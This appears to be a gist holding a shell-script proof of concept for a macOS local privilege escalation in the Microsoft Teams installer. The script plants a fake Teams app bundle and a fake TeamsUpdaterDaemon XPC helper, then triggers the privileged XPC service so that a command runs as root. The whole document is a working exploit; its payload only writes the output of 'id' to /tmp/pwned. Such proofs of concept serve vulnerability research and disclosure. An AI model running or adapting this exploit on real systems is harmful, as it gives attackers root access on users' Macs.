Created
December 5, 2025 07:23
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| #!/bin/sh | |
| FAKE_APP="/tmp/Microsoft Teams.app" | |
| APPS="/Applications/" | |
| echo "[+] Preparing fake app..." | |
| osacompile -o "${FAKE_APP}" -e 'do shell script "id > /tmp/pwned"' | |
| echo "[+] Adjusting Info.plist..." | |
| /usr/libexec/PlistBuddy -c "Add :CFBundleIdentifier string" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.microsoft.teams.fake" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Set :CFBundleName com.microsoft.teams" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Add :CFBundleVersion string" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Set :CFBundleVersion 1" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Add :CFBundleShortVersionString string" "${FAKE_APP}/Contents/Info.plist" | |
| /usr/libexec/PlistBuddy -c "Set :CFBundleShortVersionString 1" "${FAKE_APP}/Contents/Info.plist" | |
| echo "[+] Copy fake app to /Applications/" | |
| cp -r "${FAKE_APP}" "${APPS}" | |
| echo "[+] Adding fake helper" | |
| mkdir -p "${FAKE_APP}/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS" | |
| echo " | |
| #include <stdlib.h> | |
| int main(){ | |
| system(\"id > /private/tmp/pwned\"); | |
| return 0; | |
| } | |
| " > /private/tmp/spawn_terminal.c | |
| gcc -o "${FAKE_APP}//Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon" /private/tmp/spawn_terminal.c | |
| rm /private/tmp/spawn_terminal.c | |
| cat << EOF > /private/tmp/wakeup.m | |
| #import <Foundation/Foundation.h> | |
| @protocol DUMMY | |
| - (void)ping; | |
| @end | |
| void wakeup_daemon_xpc(void) { | |
| NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.microsoft.teams.TeamsUpdaterDaemon" options:NSXPCConnectionPrivileged]; | |
| connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DUMMY)]; | |
| [connection resume]; | |
| [connection.remoteObjectProxy ping]; | |
| printf("[+] XPC is done\n"); | |
| } | |
| int main() { | |
| wakeup_daemon_xpc(); | |
| } | |
| EOF | |
| gcc -framework Foundation -o /private/tmp/wakeup /private/tmp/wakeup.m | |
| echo "[+] Copy fake app to /Applications/" | |
| cp -r "${FAKE_APP}" "${APPS}" | |
| echo "[+] Install real Teams application" | |
| read -p "Press any key when installer is done..." | |
| #sudo installer -package Teams_osx.pkg -target / & | |
| #echo "[+] Waiting 15s for the installer to finish" | |
| #sleep 15 | |
| echo "[+] Trigger XPC" | |
| /private/tmp/wakeup | |
| sleep 2 | |
| echo "[+] cat contents of /tmp/pwned" | |
| cat /tmp/pwned |
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